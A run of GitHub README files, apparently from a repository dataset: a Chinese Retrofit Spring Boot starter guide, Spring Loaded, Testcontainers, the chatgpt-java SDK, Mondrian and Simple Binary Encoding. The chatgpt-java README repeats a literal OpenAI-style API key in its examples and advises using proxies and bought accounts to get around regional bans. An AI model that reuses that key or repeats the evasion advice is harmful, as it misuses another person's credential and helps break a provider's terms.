log-level: info
# 全局日志打印策略
log-strategy: basic
# 是否聚合打印请求日志
aggregate: true
```
四种日志打印策略含义如下:
1. `NONE`:No logs.
2. `BASIC`:Logs request and response lines.
3. `HEADERS`:Logs request and response lines and their respective headers.
4. `BODY`:Logs request and response lines and their respective headers and bodies (if present).
#### 声明式日志打印
如果只需要部分请求才打印日志,可以在相关接口或者方法上使用`@Logging`注解。
#### 日志打印自定义扩展
如果需要修改日志打印行为,可以继承`LoggingInterceptor`,并将其配置成`Spring bean`。
### 请求重试
组件支持支持全局重试和声明式重试。
#### 全局重试
全局重试默认关闭,默认配置项如下:
```yaml
retrofit:
# 全局重试配置
global-retry:
# 是否启用全局重试
enable: false
# 全局重试间隔时间
interval-ms: 100
# 全局最大重试次数
max-retries: 2
# 全局重试规则
retry-rules:
- response_status_not_2xx
- occur_io_exception
```
重试规则支持三种配置:
1. `RESPONSE_STATUS_NOT_2XX`:响应状态码不是`2xx`时执行重试
2. `OCCUR_IO_EXCEPTION`:发生IO异常时执行重试
3. `OCCUR_EXCEPTION`:发生任意异常时执行重试
#### 声明式重试
如果只有一部分请求需要重试,可以在相应的接口或者方法上使用`@Retry`注解。
#### 请求重试自定义扩展
如果需要修改请求重试行为,可以继承`RetryInterceptor`,并将其配置成`Spring bean`。
### 熔断降级
熔断降级默认关闭,当前支持`sentinel`和`resilience4j`两种实现。
```yaml
retrofit:
# 熔断降级配置
degrade:
# 熔断降级类型。默认none,表示不启用熔断降级
degrade-type: sentinel
```
#### Sentinel
配置`degrade-type=sentinel`开启,然后在相关接口或者方法上声明`@SentinelDegrade`注解即可。
记得手动引入`Sentinel`依赖:
```xml
<dependency>
<groupId>com.alibaba.csp</groupId>
<artifactId>sentinel-core</artifactId>
<version>1.6.3</version>
</dependency>
```
此外,还支持全局`Sentinel`熔断降级:
```yaml
retrofit:
# 熔断降级配置
degrade:
# 熔断降级类型。默认none,表示不启用熔断降级
degrade-type: sentinel
# 全局sentinel降级配置
global-sentinel-degrade:
# 是否开启
enable: true
# ...其他sentinel全局配置
```
#### Resilience4j
配置`degrade-type=resilience4j`开启。然后在相关接口或者方法上声明`@Resilience4jDegrade`即可。
记得手动引入`Resilience4j`依赖:
```xml
<dependency>
<groupId>io.github.resilience4j</groupId>
<artifactId>resilience4j-circuitbreaker</artifactId>
<version>1.7.1</version>
</dependency>
```
通过以下配置可开启全局resilience4j熔断降级:
```yaml
retrofit:
# 熔断降级配置
degrade:
# 熔断降级类型。默认none,表示不启用熔断降级
degrade-type: resilience4j
# 全局resilience4j降级配置
global-resilience4j-degrade:
# 是否开启
enable: true
# 根据该名称从#{@link CircuitBreakerConfigRegistry}获取CircuitBreakerConfig,作为全局熔断配置
circuit-breaker-config-name: defaultCircuitBreakerConfig
```
熔断配置管理:
实现`CircuitBreakerConfigRegistrar`接口,注册`CircuitBreakerConfig`。
```java
@Component
public class CustomCircuitBreakerConfigRegistrar implements CircuitBreakerConfigRegistrar {
@Override
public void register(CircuitBreakerConfigRegistry registry) {
// 替换默认的CircuitBreakerConfig
registry.register(Constants.DEFAULT_CIRCUIT_BREAKER_CONFIG, CircuitBreakerConfig.ofDefaults());
// 注册其它的CircuitBreakerConfig
registry.register("testCircuitBreakerConfig", CircuitBreakerConfig.custom()
.slidingWindowType(CircuitBreakerConfig.SlidingWindowType.TIME_BASED)
.failureRateThreshold(20)
.minimumNumberOfCalls(5)
.permittedNumberOfCallsInHalfOpenState(5)
.build());
}
}
```
通过`circuitBreakerConfigName`指定`CircuitBreakerConfig`。包括`retrofit.degrade.global-resilience4j-degrade.circuit-breaker-config-name`或者`@Resilience4jDegrade.circuitBreakerConfigName`
#### 扩展熔断降级
如果用户需要使用其他的熔断降级实现,继承`BaseRetrofitDegrade`,并将其配置`Spring Bean`。
#### 配置fallback或者fallbackFactory (可选)
如果`@RetrofitClient`不设置`fallback`或者`fallbackFactory`,当触发熔断时,会直接抛出`RetrofitBlockException`异常。 用户可以通过设置`fallback`或者`fallbackFactory`来定制熔断时的方法返回值。
> 注意:`fallback`类必须是当前接口的实现类,`fallbackFactory`必须是`FallbackFactory<T>`
实现类,泛型参数类型为当前接口类型。另外,`fallback`和`fallbackFactory`实例必须配置成`Spring Bean`。
`fallbackFactory`相对于`fallback`,主要差别在于能够感知每次熔断的异常原因(cause),参考示例如下:
```java
@Slf4j
@Service
public class HttpDegradeFallback implements HttpDegradeApi {
@Override
public Result<Integer> test() {
Result<Integer> fallback = new Result<>();
fallback.setCode(100)
.setMsg("fallback")
.setBody(1000000);
return fallback;
}
}
```
```java
@Slf4j
@Service
public class HttpDegradeFallbackFactory implements FallbackFactory<HttpDegradeApi> {
@Override
public HttpDegradeApi create(Throwable cause) {
log.error("触发熔断了! ", cause.getMessage(), cause);
return new HttpDegradeApi() {
@Override
public Result<Integer> test() {
Result<Integer> fallback = new Result<>();
fallback.setCode(100)
.setMsg("fallback")
.setBody(1000000);
return fallback;
}
};
}
}
```
### 错误解码器
在`HTTP`发生请求错误(包括发生异常或者响应数据不符合预期)的时候,错误解码器可将`HTTP`相关信息解码到自定义异常中。你可以在`@RetrofitClient`注解的`errorDecoder()`
指定当前接口的错误解码器,自定义错误解码器需要实现`ErrorDecoder`接口:
### 微服务之间的HTTP调用
#### 继承`ServiceInstanceChooser`
用户可以自行实现`ServiceInstanceChooser`接口,完成服务实例的选取逻辑,并将其配置成`Spring Bean`。对于`Spring Cloud`
应用,可以使用如下实现。
```java
@Service
public class SpringCloudServiceInstanceChooser implements ServiceInstanceChooser {
private LoadBalancerClient loadBalancerClient;
@Autowired
public SpringCloudServiceInstanceChooser(LoadBalancerClient loadBalancerClient) {
this.loadBalancerClient = loadBalancerClient;
}
/**
* Chooses a ServiceInstance URI from the LoadBalancer for the specified service.
*
* @param serviceId The service ID to look up the LoadBalancer.
* @return Return the uri of ServiceInstance
*/
@Override
public URI choose(String serviceId) {
ServiceInstance serviceInstance = loadBalancerClient.choose(serviceId);
Assert.notNull(serviceInstance, "can not found service instance! serviceId=" + serviceId);
return serviceInstance.getUri();
}
}
```
#### 指定`serviceId`和`path`
```java
@RetrofitClient(serviceId = "user", path = "/api/user")
public interface ChooserOkHttpUserService {
/**
* 根据id查询用户信息
*/
@GET("getUser")
User getUser(@Query("id") Long id);
}
```
## 全局拦截器
### 全局应用拦截器
如果我们需要对整个系统的的`HTTP`请求执行统一的拦截处理,可以实现全局拦截器`GlobalInterceptor`, 并配置成`spring Bean`。
```java
@Component
public class MyGlobalInterceptor implements GlobalInterceptor {
@Override
public Response intercept(Chain chain) throws IOException {
Response response = chain.proceed(chain.request());
// response的Header加上global
return response.newBuilder().header("global", "true").build();
}
}
```
### 全局网络拦截器
实现`NetworkInterceptor`接口,并配置成`spring Bean`。
## 调用适配器
`Retrofit`可以通过`CallAdapterFactory`将`Call<T>`对象适配成接口方法的返回值类型。组件扩展了一些`CallAdapterFactory`实现:
1. `BodyCallAdapterFactory`
- 同步执行`HTTP`请求,将响应体内容适配成方法的返回值类型。
- 任意方法返回值类型都可以使用`BodyCallAdapterFactory`,优先级最低。
2. `ResponseCallAdapterFactory`
- 同步执行`HTTP`请求,将响应体内容适配成`Retrofit.Response<T>`返回。
- 只有方法返回值类型为`Retrofit.Response<T>`,才可以使用`ResponseCallAdapterFactory`。
3. 响应式编程相关`CallAdapterFactory`
**`Retrofit`会根据方法返回值类型选择对应的`CallAdapterFactory`执行适配处理**,目前支持的返回值类型如下:
- `String`:将`Response Body`适配成`String`返回。
- 基础类型(`Long`/`Integer`/`Boolean`/`Float`/`Double`):将`Response Body`适配成上述基础类型
- 任意`Java`类型: 将`Response Body`适配成对应的`Java`对象返回
- `CompletableFuture<T>`: 将`Response Body`适配成`CompletableFuture<T>`对象返回
- `Void`: 不关注返回类型可以使用`Void`
- `Response<T>`: 将`Response`适配成`Response<T>`对象返回
- `Call<T>`: 不执行适配处理,直接返回`Call<T>`对象
- `Mono<T>`: `Project Reactor`响应式返回类型
- `Single<T>`:`Rxjava`响应式返回类型(支持`Rxjava2/Rxjava3`)
- `Completable`:`Rxjava`响应式返回类型,`HTTP`请求没有响应体(支持`Rxjava2/Rxjava3`)
可以通过继承`CallAdapter.Factory`扩展`CallAdapter`。
组件支持通过`retrofit.global-call-adapter-factories`配置全局调用适配器工厂:
```yaml
retrofit:
# 全局转换器工厂(组件扩展的`CallAdaptorFactory`工厂已经内置,这里请勿重复配置)
global-call-adapter-factories:
# ...
```
针对每个Java接口,还可以通过`@RetrofitClient.callAdapterFactories`指定当前接口采用的`CallAdapter.Factory`。
> 建议:将`CallAdapter.Factory`配置成`Spring Bean`
### 数据转码器
`Retrofit`使用`Converter`将`@Body`注解的对象转换成`Request Body`,将`Response Body`转换成一个`Java`对象,可以选用以下几种`Converter`:
- [Gson](https://github.com/google/gson): com.squareup.Retrofit:converter-gson
- [Jackson](https://github.com/FasterXML/jackson): com.squareup.Retrofit:converter-jackson
- [Moshi](https://github.com/square/moshi/): com.squareup.Retrofit:converter-moshi
- [Protobuf](https://developers.google.com/protocol-buffers/): com.squareup.Retrofit:converter-protobuf
- [Wire](https://github.com/square/wire): com.squareup.Retrofit:converter-wire
- [Simple XML](http://simple.sourceforge.net/): com.squareup.Retrofit:converter-simplexml
- [JAXB](https://docs.oracle.com/javase/tutorial/jaxb/intro/index.html): com.squareup.retrofit2:converter-jaxb
- fastJson:com.alibaba.fastjson.support.retrofit.Retrofit2ConverterFactory
组件支持通过`retrofit.global-converter-factories`配置全局`Converter.Factory`,默认的是`retrofit2.converter.jackson.JacksonConverterFactory`。
如果需要修改`Jackson`配置,自行覆盖`JacksonConverterFactory`的`bean`配置即可。
```yaml
retrofit:
# 全局转换器工厂
global-converter-factories:
- com.github.lianjiatech.retrofit.spring.boot.core.BasicTypeConverterFactory
- retrofit2.converter.jackson.JacksonConverterFactory
```
针对每个`Java`接口,还可以通过`@RetrofitClient.converterFactories`指定当前接口采用的`Converter.Factory`。
> 建议:将`Converter.Factory`配置成`Spring Bean`。
### 元注解
`@RetrofitClient`、`@Retry`、`@Logging`、`@Resilience4jDegrade`等注解支持元注解、继承以及`@AliasFor`。
```java
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE)
@Documented
@Inherited
@RetrofitClient(baseUrl = "${test.baseUrl}")
@Logging(logLevel = LogLevel.WARN)
@Retry(intervalMs = 200)
public @interface MyRetrofitClient {
@AliasFor(annotation = RetrofitClient.class, attribute = "converterFactories")
Class<? extends Converter.Factory>[] converterFactories() default {GsonConverterFactory.class};
@AliasFor(annotation = Logging.class, attribute = "logStrategy")
LogStrategy logStrategy() default LogStrategy.BODY;
}
```
## 其他功能示例
### form参数
```java
@FormUrlEncoded
@POST("token/verify")
Object tokenVerify(@Field("source") String source,@Field("signature") String signature,@Field("token") String token);
@FormUrlEncoded
@POST("message")
CompletableFuture<Object> sendMessage(@FieldMap Map<String, Object> param);
```
### 文件上传
#### 创建MultipartBody.Part
```java
// 对文件名使用URLEncoder进行编码
public ResponseEntity importTerminology(MultipartFile file){
String fileName=URLEncoder.encode(Objects.requireNonNull(file.getOriginalFilename()),"utf-8");
okhttp3.RequestBody requestBody=okhttp3.RequestBody.create(MediaType.parse("multipart/form-data"),file.getBytes());
MultipartBody.Part part=MultipartBody.Part.createFormData("file",fileName,requestBody);
apiService.upload(part);
return ok().build();
}
```
#### `HTTP`上传接口
```java
@POST("upload")
@Multipart
Void upload(@Part MultipartBody.Part file);
```
### 文件下载
#### `HTTP`下载接口
```java
@RetrofitClient(baseUrl = "https://img.ljcdn.com/hc-picture/")
public interface DownloadApi {
@GET("{fileKey}")
Response<ResponseBody> download(@Path("fileKey") String fileKey);
}
```
#### `HTTP`下载使用
```java
@SpringBootTest(classes = {RetrofitBootApplication.class})
@RunWith(SpringRunner.class)
public class DownloadTest {
@Autowired
DownloadApi downLoadApi;
@Test
public void download() throws Exception {
String fileKey = "6302d742-ebc8-4649-95cf-62ccf57a1add";
Response<ResponseBody> response = downLoadApi.download(fileKey);
ResponseBody responseBody = response.body();
// 二进制流
InputStream is = responseBody.byteStream();
// 具体如何处理二进制流,由业务自行控制。这里以写入文件为例
File tempDirectory = new File("temp");
if (!tempDirectory.exists()) {
tempDirectory.mkdir();
}
File file = new File(tempDirectory, UUID.randomUUID().toString());
if (!file.exists()) {
file.createNewFile();
}
FileOutputStream fos = new FileOutputStream(file);
byte[] b = new byte[1024];
int length;
while ((length = is.read(b)) > 0) {
fos.write(b, 0, length);
}
is.close();
fos.close();
}
}
```
### 动态URL
使用`@url`注解可实现动态URL。此时,`baseUrl`配置任意合法url即可。例如: `http://github.com/` 。运行时只会根据`@Url`地址发起请求。
> 注意:`@url`必须放在方法参数的第一个位置,另外,`@GET`、`@POST`等注解上,不需要定义端点路径。
```java
@GET
Map<String, Object> test3(@Url String url,@Query("name") String name);
```
### `DELETE`请求添加请求体
```java
@HTTP(method = "DELETE", path = "/user/delete", hasBody = true)
```
### `GET`请求添加请求体
`okhttp3`自身不支持`GET`请求添加请求体,源码如下:
![image](https://user-images.githubusercontent.com/30620547/108949806-0a9f7780-76a0-11eb-9eb4-326d5d546e98.png)
![image](https://user-images.githubusercontent.com/30620547/108949831-1ab75700-76a0-11eb-955c-95d324084580.png)
作者给出了具体原因,可以参考: [issue](https://github.com/square/okhttp/issues/3154)
但是,如果实在需要这么做,可以使用:`@HTTP(method = "get", path = "/user/get", hasBody = true)`,使用小写`get`绕过上述限制。
## 反馈建议
如有任何问题,欢迎提issue或者加QQ群反馈。
群号:806714302
![QQ群图片](https://github.com/LianjiaTech/retrofit-spring-boot-starter/blob/master/group.png)
| 0 |
spring-projects/spring-loaded | Java agent that enables class reloading in a running JVM | 2012-12-06T23:17:42Z | null | # Welcome to Spring-Loaded
## What is Spring Loaded?
Spring Loaded is a JVM agent for reloading class file changes whilst a JVM is running. It transforms
classes at loadtime to make them amenable to later reloading. Unlike 'hot code replace' which only allows
simple changes once a JVM is running (e.g. changes to method bodies), Spring Loaded allows you
to add/modify/delete methods/fields/constructors. The annotations on types/methods/fields/constructors
can also be modified and it is possible to add/remove/change values in enum types.
Spring Loaded is usable on any bytecode that may run on a JVM, and is actually the reloading system
used in Grails 2,3,4 (on java 8).
# Installation
1.3.0 has now been released!
1.3.0 Enables support for Grails 4.0.4+ Running on Java 8 (Java 11 is not yet supported and is in Development)
1.2.6 snapshots are in this repo area (grab the most recently built .jar):
<a href="https://repo.spring.io/webapp/#/artifacts/browse/tree/General/libs-snapshot-local/org/springframework/springloaded/1.2.6.BUILD-SNAPSHOT">repo.spring.io</a>
The download is the agent jar and needs no further unpacking before use.
# Running with reloading
java -javaagent:<pathTo>/springloaded-{VERSION}.jar -noverify SomeJavaClass
The verifier is being turned off because some of the bytecode rewriting stretches the meaning of
some of the bytecodes - in ways the JVM doesn't mind but the verifier doesn't like. Once up and
running what effectively happens is that any classes loaded from jar files (dependencies) are not
treated as reloadable, whilst anything loaded from .class files on disk is made reloadable. Once
loaded the .class file will be watched (once a second) and should a new version appear
SpringLoaded will pick it up. Any live instances of that class will immediately see the new form
of the object, the instances do not need to be discarded and recreated.
No doubt that raises a lot of questions and hopefully a proper FAQ will appear here shortly! But in
the meantime, here are some basic Qs and As:
Q. Does it reload anything that might change in a class file?
A. No, you can't change the hierarchy of a type. Also there are certain constructor patterns of
usage it can't actually handle right now.
Q. With objects changing shape, what happens with respect to reflection?
A. Reflection results change over time as the objects are reloaded. For example, modifying a class
with a new method and calling `getDeclaredMethods()` after reloading has occurred will mean you see
the new method in the results. *But* this does mean if you have existing caches in your system
that stash reflective information assuming it never changes, those will need to be cleared
after a reload.
Q. How do I know when a reload has occurred so I can clear my state?
A. You can write a plugin that is called when reloads occur and you can then take the appropriate
action. Create an implementation of `ReloadEventProcessorPlugin` and then register it via
`SpringLoadedPreProcessor.registerGlobalPlugin(plugin)`. (There are other ways to register plugins,
which will hopefully get some documentation!)
Q. What's the state of the codebase?
A. The technology is successfully being used by Grails for reloading. It does need some performance
work and a few smacks with a refactoring hammer. It needs upgrading here and there to tolerate
the invokedynamic instruction and associated new constant pool entries that arrived in Java 7.
# Working with the code
git clone https://github.com/spring-projects/spring-loaded
Once cloned there will be some projects suitable for import into eclipse. The main project and
some test projects. One of the test projects is an AspectJ project (containing both Java
and AspectJ code), and one is a Groovy project. To compile these test projects
in Eclipse you will need the relevant eclipse plugins:
AJDT: update site: `https://download.eclipse.org/tools/ajdt/42/dev/update`
Groovy-Eclipse: update site: `https://dist.springsource.org/snapshot/GRECLIPSE/e4.2/`
After importing them you can run the tests. There are two kinds of tests, hand crafted and
generated. Running all the tests including the generated ones can take a while.
To run just the hand crafted ones supply this to the JVM when launching the tests:
-Dspringloaded.tests.generatedTests=false
NOTE: When running the tests you need to pass `-noverify` to the JVM also.
Two launch configurations are already included if you are importing these projects into eclipse,
which run with or without the generated tests.
A gradle build script is included, run './gradlew build' to rebuild the agent - it will be created
as something like: `springloaded/build/libs/springloaded-1.3.0.BUILD-SNAPSHOT.jar`
# Can I contribute?
Sure! This is based on the original Spring Source Project work done by Andy Clement. As Spring was moving away from spring-loaded in favor of spring-dev-tools (a more basic alternative), Community efforts were made to update spring-loaded to work in more recent builds of Grails.
| 0 |
testcontainers/testcontainers-java | Testcontainers is a Java library that supports JUnit tests, providing lightweight, throwaway instances of common databases, Selenium web browsers, or anything else that can run in a Docker container. | 2015-04-12T12:44:59Z | null | # Testcontainers
[![Maven Central](https://maven-badges.herokuapp.com/maven-central/org.testcontainers/testcontainers/badge.svg)](https://maven-badges.herokuapp.com/maven-central/org.testcontainers/testcontainers)
[![Open in GitHub Codespaces](https://github.com/codespaces/badge.svg)](https://github.com/codespaces/new?hide_repo_select=true&ref=main&repo=33816473&machine=standardLinux32gb&devcontainer_path=.devcontainer%2Fdevcontainer.json&location=EastUs)
[![Revved up by Develocity](https://img.shields.io/badge/Revved%20up%20by-Develocity-06A0CE?logo=Gradle&labelColor=02303A)](https://ge.testcontainers.org/scans)
> Testcontainers is a Java library that supports JUnit tests, providing lightweight, throwaway instances of common databases, Selenium web browsers, or anything else that can run in a Docker container.
![Testcontainers logo](docs/logo.png)
# [Read the documentation here](https://java.testcontainers.org)
## License
See [LICENSE](LICENSE).
## Copyright
Copyright (c) 2015 - 2021 Richard North and other authors.
MS SQL Server module is (c) 2017 - 2021 G DATA Software AG and other authors.
Hashicorp Vault module is (c) 2017 - 2021 Capital One Services, LLC and other authors.
See [contributors](https://github.com/testcontainers/testcontainers-java/graphs/contributors) for all contributors.
| 0 |
PlexPt/chatgpt-java | ChatGPT Java SDK。支持 GPT3.5、 GPT4 API。开箱即用。 | 2022-12-07T04:55:33Z | null | <h1 style="text-align: center; color: hotpink; -webkit-animation: rainbow 5s infinite; -moz-animation: rainbow 5s infinite; -o-animation: rainbow 5s infinite; animation: rainbow 5s infinite;">ChatGPT Java API</h1>
![stable](https://img.shields.io/badge/stability-stable-brightgreen.svg)
[![Maven Central](https://img.shields.io/maven-central/v/com.github.plexpt/chatgpt)](https://maven-badges.herokuapp.com/maven-central/com.github.plexpt/chatgpt)
[English Doc](https://github.com/PlexPt/chatgpt-java/blob/main/README_en.md).
OpenAI ChatGPT 的SDK。觉得不错请右上角Star
# 中文语料库
[中文语料库 67万+问题,欢迎拿去炼丹](https://github.com/PlexPt/chatgpt-corpus)
点击👇🏻传送链接,购买云服务器炼丹:
- [**阿里云服务器特惠**](https://51015.cn/ss/3vpds)
- [**【腾讯云】服务器,低至4.2元/月**](https://curl.qcloud.com/NiGEWRdn) 选择 GPU 云服务器
# 功能特性
| 功能 | 特性 |
|:-----------:| :------: |
| GPT 3.5 | 支持 |
| GPT 4.0 | 支持 |
| 函数调用 | 支持 |
| 流式对话 | 支持 |
| 阻塞式对话 | 支持 |
| 前端 | 无 |
| 上下文 | 支持 |
| 计算Token | [用jtokkit](https://github.com/knuddelsgmbh/jtokkit) |
| 多KEY轮询 | 支持 |
| 代理 | 支持 |
| 反向代理 | 支持 |
![image](https://user-images.githubusercontent.com/15922823/206353660-47d99158-a664-4ade-b2f1-e2cc8ac68b74.png)
![image](https://user-images.githubusercontent.com/15922823/206615422-23c5e587-d29a-4f04-8d0d-f8dd7c19da37.png)
## 使用指南
你可能在找这个,参考Demo https://github.com/PlexPt/chatgpt-online-springboot
最新版本 [![Maven Central](https://img.shields.io/maven-central/v/com.github.plexpt/chatgpt)](https://maven-badges.herokuapp.com/maven-central/com.github.plexpt/chatgpt)
maven
```
<dependency>
<groupId>com.github.plexpt</groupId>
<artifactId>chatgpt</artifactId>
<version>4.4.0</version>
</dependency>
```
gradle
```
implementation group: 'com.github.plexpt', name: 'chatgpt', version: '4.4.0'
```
### 最简使用
```java
//国内需要代理
Proxy proxy = Proxys.http("127.0.0.1", 1081);
//socks5 代理
// Proxy proxy = Proxys.socks5("127.0.0.1", 1080);
ChatGPT chatGPT = ChatGPT.builder()
.apiKey("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")
.proxy(proxy)
.apiHost("https://api.openai.com/") //反向代理地址
.build()
.init();
String res = chatGPT.chat("写一段七言绝句诗,题目是:火锅!");
System.out.println(res);
```
也可以使用这个类进行测试 [ConsoleChatGPT](src/main/java/com/plexpt/chatgpt/ConsoleChatGPT.java)
### 进阶使用
```java
//国内需要代理 国外不需要
Proxy proxy = Proxys.http("127.0.0.1", 1080);
ChatGPT chatGPT = ChatGPT.builder()
.apiKey("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")
.proxy(proxy)
.timeout(900)
.apiHost("https://api.openai.com/") //反向代理地址
.build()
.init();
Message system = Message.ofSystem("你现在是一个诗人,专门写七言绝句");
Message message = Message.of("写一段七言绝句诗,题目是:火锅!");
ChatCompletion chatCompletion = ChatCompletion.builder()
.model(ChatCompletion.Model.GPT_3_5_TURBO.getName())
.messages(Arrays.asList(system, message))
.maxTokens(3000)
.temperature(0.9)
.build();
ChatCompletionResponse response = chatGPT.chatCompletion(chatCompletion);
Message res = response.getChoices().get(0).getMessage();
System.out.println(res);
```
### 函数调用(Function Call)
```java
//国内需要代理 国外不需要
Proxy proxy = Proxys.http("127.0.0.1", 1080);
chatGPT = ChatGPT.builder()
.apiKey("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")
.timeout(900)
.proxy(proxy)
.apiHost("https://api.openai.com/") //代理地址
.build()
.init();
List<ChatFunction> functions = new ArrayList<>();
ChatFunction function = new ChatFunction();
function.setName("getCurrentWeather");
function.setDescription("获取给定位置的当前天气");
function.setParameters(ChatFunction.ChatParameter.builder()
.type("object")
.required(Arrays.asList("location"))
.properties(JSON.parseObject("{\n" +
" \"location\": {\n" +
" \"type\": \"string\",\n" +
" \"description\": \"The city and state, e.g. San Francisco, " +
"CA\"\n" +
" },\n" +
" \"unit\": {\n" +
" \"type\": \"string\",\n" +
" \"enum\": [\"celsius\", \"fahrenheit\"]\n" +
" }\n" +
" }"))
.build());
functions.add(function);
Message message = Message.of("上海的天气怎么样?");
ChatCompletion chatCompletion = ChatCompletion.builder()
.model(ChatCompletion.Model.GPT_3_5_TURBO_0613.getName())
.messages(Arrays.asList(message))
.functions(functions)
.maxTokens(8000)
.temperature(0.9)
.build();
ChatCompletionResponse response = chatGPT.chatCompletion(chatCompletion);
ChatChoice choice = response.getChoices().get(0);
Message res = choice.getMessage();
System.out.println(res);
if ("function_call".equals(choice.getFinishReason())) {
FunctionCallResult functionCall = res.getFunctionCall();
String functionCallName = functionCall.getName();
if ("getCurrentWeather".equals(functionCallName)) {
String arguments = functionCall.getArguments();
JSONObject jsonObject = JSON.parseObject(arguments);
String location = jsonObject.getString("location");
String unit = jsonObject.getString("unit");
String weather = getCurrentWeather(location, unit);
callWithWeather(weather, res, functions);
}
}
private void callWithWeather(String weather, Message res, List<ChatFunction> functions) {
Message message = Message.of("上海的天气怎么样?");
Message function1 = Message.ofFunction(weather);
function1.setName("getCurrentWeather");
ChatCompletion chatCompletion = ChatCompletion.builder()
.model(ChatCompletion.Model.GPT_3_5_TURBO_0613.getName())
.messages(Arrays.asList(message, res, function1))
.functions(functions)
.maxTokens(8000)
.temperature(0.9)
.build();
ChatCompletionResponse response = chatGPT.chatCompletion(chatCompletion);
ChatChoice choice = response.getChoices().get(0);
Message res2 = choice.getMessage();
//上海目前天气晴朗,气温为 22 摄氏度。
System.out.println(res2.getContent());
}
public String getCurrentWeather(String location, String unit) {
return "{ \"temperature\": 22, \"unit\": \"celsius\", \"description\": \"晴朗\" }";
}
```
### 流式使用
```java
//国内需要代理 国外不需要
Proxy proxy = Proxys.http("127.0.0.1", 1080);
ChatGPTStream chatGPTStream = ChatGPTStream.builder()
.timeout(600)
.apiKey("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")
.proxy(proxy)
.apiHost("https://api.openai.com/")
.build()
.init();
ConsoleStreamListener listener = new ConsoleStreamListener();
Message message = Message.of("写一段七言绝句诗,题目是:火锅!");
ChatCompletion chatCompletion = ChatCompletion.builder()
.messages(Arrays.asList(message))
.build();
chatGPTStream.streamChatCompletion(chatCompletion, listener);
```
### 流式配合Spring SseEmitter使用
参考 [SseStreamListener](src/main/java/com/plexpt/chatgpt/listener/SseStreamListener.java)
你可能在找这个,参考Demo https://github.com/PlexPt/chatgpt-online-springboot
```java
@GetMapping("/chat/sse")
@CrossOrigin
public SseEmitter sseEmitter(String prompt) {
//国内需要代理 国外不需要
Proxy proxy = Proxys.http("127.0.0.1", 1080);
ChatGPTStream chatGPTStream = ChatGPTStream.builder()
.timeout(600)
.apiKey("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")
.proxy(proxy)
.apiHost("https://api.openai.com/")
.build()
.init();
SseEmitter sseEmitter = new SseEmitter(-1L);
SseStreamListener listener = new SseStreamListener(sseEmitter);
Message message = Message.of(prompt);
listener.setOnComplate(msg -> {
//回答完成,可以做一些事情
});
chatGPTStream.streamChatCompletion(Arrays.asList(message), listener);
return sseEmitter;
}
```
## 多KEY自动轮询
只需替换chatGPT构造部分
```
chatGPT = ChatGPT.builder()
.apiKeyList(
// 从数据库或其他地方取出多个KEY
Arrays.asList("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",
"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",
"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",
"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",
))
.timeout(900)
.proxy(proxy)
.apiHost("https://api.openai.com/") //代理地址
.build()
.init();
```
## 上下文
参考 [ChatContextHolder.java](src/main/java/com/plexpt/chatgpt/util/ChatContextHolder.java)
# 常见问题
| 问 | 答 |
| :----------------------------------------------------------: | :----------------------------------------------------------: |
| KEY从哪来? | 手动注册生成:openai.com(需要海外手机号)、或者成品独享帐号:[购买](https://fk.fq.mk/?code=YT0xJmI9Mg%3D%3D) |
| 哪些地区不能用 | **以下国家IP不支持使用:中国(包含港澳台) 俄罗斯 乌克兰 阿富汗 白俄罗斯 委内瑞拉 伊朗 埃及!!** |
| 有封号风险吗 | 使用代理有一定的风险。 |
| 我是尊贵的Plus会员,能用吗 | PLUS是网页端,调用API没啥区别 |
| GPT4.0 怎么用 | 目前需要充值 |
| api.openai.com ping不通? | 禁ping,用curl测试连通性 |
| 显示超时? | IP不好,换个IP |
| 显示`Your access was terminated due to violation of our policies`... | 你号没了,下一个 |
| 显示`That model is currently overloaded with other requests. You can retry your request` | 模型过载,官方炸了,重试 |
| 生成的图片不能用? | 图片是它瞎编的,洗洗睡吧 |
| 如何充值? | 用国外信用卡,国内的不行 |
| 没有国外信用卡怎么办? | 暂时没有特别好的办法待定 |
| 返回http 401 | API 密钥写错了/没写 |
| 返回http 429 | 请求超速了,或者官方超载了。充钱可解决 |
| 返回http 500 | 服务器炸了 |
| | |
---
### 注册教程
https://juejin.cn/post/7173447848292253704
https://mirror.xyz/boxchen.eth/9O9CSqyKDj4BKUIil7NC1Sa1LJM-3hsPqaeW_QjfFBc
#### 另外请看看我的另一个项目 [ChatGPT中文使用指南](https://github.com/PlexPt/awesome-chatgpt-prompts-zh)
公众号
<img src="https://user-images.githubusercontent.com/15922823/218004565-bb632624-b376-4f01-8ce2-d7065107bf4a.png" width="300"/>
# 云服务器
点击👇🏻传送链接,购买云服务器:
- [**阿里云服务器**](https://reurl.cc/NqQXyx)
- [**【腾讯云】云服务器等爆品抢先购,低至4.2元/月**](https://url.cn/B7m0OYnG)
#### 项目合作洽谈请点击 联系微信 https://work.weixin.qq.com/kfid/kfc6913bb4906e0e597
### QQ群:645132635
# Star History
[![Star History Chart](https://api.star-history.com/svg?repos=PlexPt/chatgpt-java&type=Date)](https://star-history.com/#PlexPt/chatgpt-java&Date)
| 0 |
pentaho/mondrian | Mondrian is an Online Analytical Processing (OLAP) server that enables business users to analyze large quantities of data in real-time. | 2012-03-19T17:03:39Z | null | # Welcome to Mondrian
Mondrian is an Online Analytical Processing (OLAP) server that enables business users to analyze large quantities of data in real-time.
## Sub modules
* **mondrian** - the core mondrian java library
* **workbench** - A desktop GUI for generating Mondrian schemas
| 0 |
real-logic/simple-binary-encoding | Simple Binary Encoding (SBE) - High Performance Message Codec | 2013-09-03T09:13:34Z | null | Simple Binary Encoding (SBE)
============================
[![Javadocs](https://www.javadoc.io/badge/uk.co.real-logic/sbe-tool.svg)](https://www.javadoc.io/doc/uk.co.real-logic/sbe-tool)
[![GitHub](https://img.shields.io/github/license/real-logic/simple-binary-encoding.svg)](https://github.com/real-logic/simple-binary-encoding/blob/master/LICENSE)
[![Actions Status](https://github.com/real-logic/simple-binary-encoding/workflows/Continuous%20Integration/badge.svg)](https://github.com/real-logic/simple-binary-encoding/actions)
[![CodeQL Status](https://github.com/real-logic/simple-binary-encoding/workflows/CodeQL/badge.svg)](https://github.com/real-logic/simple-binary-encoding/actions)
[SBE](https://github.com/FIXTradingCommunity/fix-simple-binary-encoding) is an OSI layer 6 presentation for
encoding and decoding binary application messages for low-latency financial applications. This repository contains
the reference implementations in Java, C++, Golang, C#, and Rust.
More details on the design and usage of SBE can be found on the [Wiki](https://github.com/real-logic/simple-binary-encoding/wiki).
An XSD for SBE specs can be found
